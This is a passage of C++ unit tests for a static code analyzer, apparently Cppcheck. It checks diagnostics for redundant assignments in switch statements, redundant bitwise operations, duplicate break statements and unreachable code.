ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" register unsigned short int __v, __x = (unsigned short int) (value);\\n\"\n \" if (__builtin_constant_p (__x))\\n\"\n \" __v = ((unsigned short int) ((((__x) >> 8) & 0xff) | (((__x) & 0xff) << 8)));\\n\"\n \" else\\n\"\n \" __asm__ (\\\"rorw $8, %w0\\\" : \\\"=r\\\" (__v) : \\\"0\\\" (__x) : \\\"cc\\\");\\n\"\n \" (void)__v;\\n\"\n \" }));\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6008\n check(\"static std::function< int ( int, int ) > GetFunctor() {\\n\"\n \" return [](int a_, int b_) -> int {\\n\"\n \" int sum = a_ + b_;\\n\"\n \" return sum;\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5789\n check(\"struct per_state_info {\\n\"\n \" uint64_t enter, exit;\\n\"\n \" uint64_t events;\\n\"\n \" per_state_info() : enter(0), exit(0), events(0) {}\\n\"\n \"};\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6664\n check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : exit(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" (beat < 100) ? exit(0) : (void)0;\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8261\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" (beat < 100) ? (void)0 : throw(0);\\n\"\n \" bar();\\n\"\n \"}\", true, false, false, false, &settings), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" exit(0);\\n\"\n \" return 1;\\n\" // <- clarify for tools that function does not continue..\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum : uint8_t { A, B } var = A;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define INB(x) __extension__ ({ u_int tmp = (x); inb(tmp); })\\n\" // #4739\n \"static unsigned char cmos_hal_read(unsigned index) {\\n\"\n \" unsigned short port_0, port_1;\\n\"\n \" assert(!verify_cmos_byte_index(index));\\n\"\n \" if (index < 128) {\\n\"\n \" port_0 = 0x70;\\n\"\n \" port_1 = 0x71;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" port_0 = 0x72;\\n\"\n \" port_1 = 0x73;\\n\"\n \" }\\n\"\n \" OUTB(index, port_0);\\n\"\n \" return INB(port_1);\\n\"\n \"}\\n\", dinit(CheckPOptions, $.cpp = false));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"[[noreturn]] void n();\\n\"\n \"void f() {\\n\"\n \" n();\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Statements following noreturn function 'n()' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" exit(1);\\n\"\n \" g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following noreturn function 'exit()' will never be executed. [unreachableCode]\\n\", 